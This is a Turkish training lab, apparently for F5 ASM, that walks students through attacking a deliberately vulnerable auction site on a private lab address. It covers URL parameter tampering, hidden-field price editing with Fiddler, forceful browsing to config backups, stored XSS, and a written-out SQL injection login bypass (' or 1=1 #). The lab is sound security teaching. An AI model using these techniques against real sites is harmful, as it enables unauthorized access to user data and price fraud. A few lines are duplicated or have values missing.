ASM, parametre adı ve değeri girişlerinde izin verilen karakterleri kontrol ederek, kullanıcı girdi parametrelerinde kötü niyetli desenleri denetler ve sorgu dizeleri ile POST veri istek uzunluklarını doğrular.
ASM Kullanarak Risk Azaltma Özeti
Web uygulaması zafiyetleri, bir HTTP işleminin istek ve yanıt öğelerinde meydana gelebilir. Bazı ortamlarda, web uygulamaları tampon taşması, kodlama saldırıları ve beklenmedik sistem çöküşlerine karşı savunmasızdır.
ASM, HTTP isteği ve alan adı çerezi için RFC uyumluluğunu zorlayabilir, istek ve yanıt başlıklarında kötü niyetli desenler ve izin verilen karakterler için denetimler yapabilir, HTTP metodunu doğrulayıp, çerez ve toplam HTTP istek uzunluklarını kontrol edebilir.
ASM, SQL enjeksiyonları, çapraz site betiği, çerez zehirlenmesi ve tampon taşması saldırılarına karşı web uygulamalarını korur.
Lab 4: Web Uygulaması Zafiyetleri
Hedefler:
- Parametre Manipülasyonu (Parameter Tampering)
- Gizli Alan Manipülasyonu (Hidden Field Manipulation)
- Zorlama Tarama (Forceful Browsing)
- Cross Site Scripting (XSS)
- SQL Injection
Tamamlanması için tahmin edilen süre: 30 dakika
Laboratuvar Gereksinimleri:
- İstemci makinesinin, sanal sunucuyu ve ilgili sanal sunucuyu içeren açık artırma sitesine erişimi olmalı.
- İstemci makinesinde Fiddler yazılımı yüklü olmalı.
Egzersiz 1: Parametre Manipülasyonu
- PC’nizde yeni bir tarayıcı oturumu açın ve sanal sunucunuz tarafından temsil edilen açık artırma sitesine (http://10.10.x.10/index.php) bağlanın.
- Açık artırma sitesinin Kullanıcı Giriş bölümünde, kullanıcı adı ve şifre için studentX (X, iş istasyon numaranız) girin.
- Aşağıdaki görsele bakarak doğru Kullanıcı Giriş bölümünü bulun.
- “Devam Et” butonuna tıklayın.
- Kullanıcı adınızın altında yer alan “Kontrol Paneliniz” bağlantısına tıklayın.
- Tarayıcı adres alanında, “studentX” değerini başka bir öğrenci ile (student1, student2 vb.) değiştirin, örneğin:
http://10.10.x.10/uscr_menu.php?nick=student13
- Bu öğrencinin kişisel bilgilerini görebiliyor musunuz?
- Şimdi “nick” değerini “ ile değiştirin.
- Tüm kullanıcılar artık görünecektir çünkü yıldız işareti (joker karakter), SQL’in birçok sürümünde her şeyi seçmek için kullanılır. Bu durumda, kullanıcılar
user_menu
tablosundan seçilecektir.
- Tüm kullanıcılar artık görünecektir çünkü yıldız işareti (joker karakter), SQL’in birçok sürümünde her şeyi seçmek için kullanılır. Bu durumda, kullanıcılar
Egzersiz 2: Gizli Alan Manipülasyonu
- Açık artırma sitesinin üst kısmındaki “Ana Sayfa” bağlantısına tıklayın.
- “Son Oluşturulan Açık Artırmalar” bölümündeki bir öğeye tıklayın.
- Fiddler‘ı başlatın.
- “Rules” menüsüne tıklayın, ardından “Automatic Breakpoints” seçeneğini seçin ve “Before Requests” işaretleyin.
- Fiddler’daki bu seçenek, ağ trafiğini durdurarak isteği anında değiştirmeyi sağlar.
- Açık artırma sitesine geri dönün ve “Satın Al” butonuna tıklayın.
- Fiddler’a geri dönün.
- /buy-php URL’sini içeren Web Oturumu‘nu seçin.
- “Inspectors” sekmesine tıklayın, ardından sekmenin altındaki “WebForms” butonuna tıklayın.
- Fiyat değerini istediğiniz şekilde düzenleyin.
- “Run to Completion” butonuna tıklayın.
- Açık artırma sitesine geri dönün ve fiyatın seçtiğiniz değere değiştiğini gözlemleyin.
- Fiddler’a geri dönün ve “Automatic Breakpoints” seçeneğini kapatın (Shift + F11).
- Fiddler’dan çıkın.
Egzersiz 3: Zorlama Tarama (Forceful Browsing)
- Açık artırma sitesine erişin.
- Adres çubuğuna http://10.10.x.10/includes/ yazarak Enter‘a basın.
- Bu dosyaya erişiminiz var mı? Şimdi bu dizindeki standart dosyaları aramaya başlayalım.
- Adres çubuğuna http://10.10.x.10/includes/config.inc.php yazarak Enter‘a basın.
- Bu dosya var mı?
- http://10.10.x.10/includes/config.inc.php.old yazarak Enter‘a basın.
- Bu sayfadan, sistemde passwd.inc.php dosyasının bulunduğunu öğrenebilirsiniz.
- Bu tür dosya ve yol keşfi, kararlı bir hacker tarafından sistemde sorunlara yol açabilir.
Egzersiz 4: Cross Site Scripting (XSS)
- Şimdi bir öğe satmak istiyoruz. http://10.10.x.10/sell.php adresine gidin.
- Aşağıdaki değerleri kullanarak bir öğe satma sayfasını doldurun:
- [Değerler burada girilecek]
- Çıkan uyarıyı bir pop-up pencerede görmelisiniz. Bu, uygulamanın istemci tarafı betiklerini işlediğini ve dolayısıyla XSS saldırılarına karşı potansiyel olarak savunmasız olduğunu gösterir.
- “Tamam” butonuna tıklayın.
- Açık artırma sitesi şifrenizi girerek satma işlemine onay verin ve “Submit Query” butonuna tıklayın.
- “Yarışmanız başarıyla alınmıştır” mesajını görmelisiniz.
- Açık artırma sitesinin ana sayfasındaki “Ana Sayfa” bağlantısına tıklayın.
- “Son Oluşturulan Açık Artırmalar” bölümünde yeni oluşturduğunuz öğeyi görüyor musunuz?
- Bağlantıya tıklayın.
- Ne oldu?
- Diğer bir öğrenci tarafından yeni oluşturulan bir öğeye tıkladığınızda ne olur?
Egzersiz 5: SQL Injection (SQL Enjeksiyonu)
- Açık artırma sitesinin ana sayfasındaki “Ana Sayfa” bağlantısına tıklayın.
- Açık artırma sitesine giriş yaptıysanız, “Çıkış” bağlantısına tıklayın.
- Kullanıcı giriş bölümüne aşağıdaki kullanıcı adını girin:
' or 1=1 #
- Kullanıcı Girişi:
- Kullanıcı Adı:
' or 1=1 #
- Şifre:
- Şifrenizi mi unuttunuz?
- Kullanıcı Adı:
- “Devam Et” butonuna tıklayın.
- Kullanıcı adınızı belirten giriş mesajının altında bulunan “Kontrol Paneliniz” bağlantısına tıklayın.
- Sonuçlar ne oldu?
- SQL enjeksiyonu, geçerli bir kullanıcı adı ve şifre girmediğiniz halde tüm kullanıcı bilgilerine erişim sağladı. Çünkü
1=1
ifadesi her zaman doğru kabul edilir ve geçerli bir kullanıcı adı seçilmesini zorlar. - Bu örnek, açık artırma sitesinin arka uç veritabanında potansiyel olarak tehlikeli bir güvenlik açığını ortaya koyar. Kararlı bir saldırgan, uygulamayı daha da manipüle etmeye çalışarak zararlı komutlar (örneğin, silme komutları veya başka SQL dizeleri) ekleyebilir.